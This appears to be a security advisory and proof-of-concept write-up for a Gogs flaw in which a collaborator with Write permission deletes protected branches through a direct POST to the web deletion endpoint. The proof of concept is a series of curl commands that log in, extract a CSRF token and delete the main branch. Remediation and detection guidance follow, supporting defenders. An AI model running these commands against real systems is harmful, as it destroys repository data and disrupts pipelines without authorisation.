CVE-2026-25232 — Gogs Protected Branch Deletion Bypass (Write → Admin Escalation)

Overview

Description

CVE-2026-25232 is an access control bypass vulnerability in the Gogs web interface. It allows any repository collaborator with Write permissions to delete protected branches — including the default branch — by sending a direct POST request to the DeleteBranchPost endpoint, completely bypassing branch protection mechanisms.

The root cause is a discrepancy between how the Git Hook layer and the web interface enforce branch protection:

• Git Hooks (SSH): Correctly block protected branch deletion via SSH push operations
• Web Interface: The DeleteBranchPost function does not trigger Git Hooks, so the protection check is never executed

This allows a low-privilege collaborator to perform operations that should be restricted to repository administrators only.

Prerequisites

• A registered Gogs account
• Write permissions on a target repository
• Protected branches configured on the target repository
• Network access to the Gogs web interface

Proof of Concept

Environment

• Target: http://<TARGET>:3001
• Attacker account: attacker:Password123! (Write permissions on repo)
• Target repo: admin/important-repo
• Protected branch: main (default branch)

Step 1 — Verify Branch Protection is Enabled

Confirm the branch is protected and cannot be deleted via normal means:

# Attempt normal branch deletion via API - this should fail
curl -s -X DELETE 'http://<TARGET>:3001/api/v1/repos/admin/important-repo/branches/main' \
  -u 'attacker:Password123!'

Expected response: 403 Forbidden or protection error.

Step 2 — Get a Valid CSRF Token

Fetch the CSRF token from any authenticated page:

curl -s -c cookies.txt -b cookies.txt \
  'http://<TARGET>:3001/user/login' \
  -X POST \
  -d 'user_name=attacker&password=Password123!'

# Extract CSRF token from a repo page
curl -s -c cookies.txt -b cookies.txt \
  'http://<TARGET>:3001/admin/important-repo' \
  | grep -o '_csrf" content="[^"]*"' | cut -d'"' -f3

Step 3 — Bypass Protection via Direct POST to DeleteBranchPost

Send a direct POST request to the branch deletion endpoint, bypassing the protection check:

curl -s -X POST 'http://<TARGET>:3001/admin/important-repo/branches/delete' \
  -b cookies.txt \
  -H 'Content-Type: application/x-www-form-urlencoded' \
  -d '_csrf=<CSRF_TOKEN>&name=main'

The protected branch is deleted despite the attacker only having Write permissions.

Step 4 — Verify Deletion

curl -s 'http://<TARGET>:3001/api/v1/repos/admin/important-repo/branches' \
  -u 'attacker:Password123!'

The main branch will no longer appear in the response.

Why It Works

The DeleteBranchPost function in Gogs' web handler validates that the user is authenticated and has Write access to the repository, but does not check whether the target branch is protected:

HTTP POST /owner/repo/branches/delete
    ↓
DeleteBranchPost()
    ↓
Check: Is user authenticated? ✓
Check: Does user have Write access? ✓
Check: Is branch protected? ✗ (MISSING)
    ↓
Branch deleted successfully

The Git Hook layer that enforces branch protection is only triggered during Git push/delete operations over SSH or HTTP Git protocol — not during web interface operations. This architectural gap means any Write-level collaborator can perform this operation.

Impact

A malicious collaborator with Write permissions can:

• Delete any protected branch including the default branch
• Destroy the repository's main line of development
• Disrupt CI/CD pipelines that depend on the protected branch
• Force-push or re-create branches without protection, enabling code injection into production pipelines
• Escalate effective privileges from Write → Admin level for branch management operations

In environments where Gogs repositories feed into automated deployment pipelines, this could lead to supply chain compromise.

Remediation

Upgrade to Gogs v0.14.1 or later. The fix adds proper authorization checks in the DeleteBranchPost function to verify branch protection status before allowing deletion, regardless of how the request is made.

As a temporary mitigation:

• Restrict repository Write access to only highly trusted users
• Implement network-level access controls to limit who can reach the Gogs web interface
• Monitor web server logs for unexpected POST requests to /repos/{owner}/{repo}/branches/delete
• Use external backup solutions to maintain copies of protected branches

Detection

Look for the following indicators of exploitation:

• Unexpected POST requests to /<owner>/<repo>/branches/delete in web server logs
• Protected branches deleted without corresponding Git Hook activity in logs
• Branch deletion events by users who do not have Admin privileges
• Default branch missing or changed unexpectedly

References

• GitHub Security Advisory GHSA-2c6v-8r3v-gh6p
• Gogs v0.14.1 Release
• CWE-863: Incorrect Authorization

Disclaimer

This PoC is for educational purposes and authorised security testing only. Do not use against systems you do not have explicit permission to test.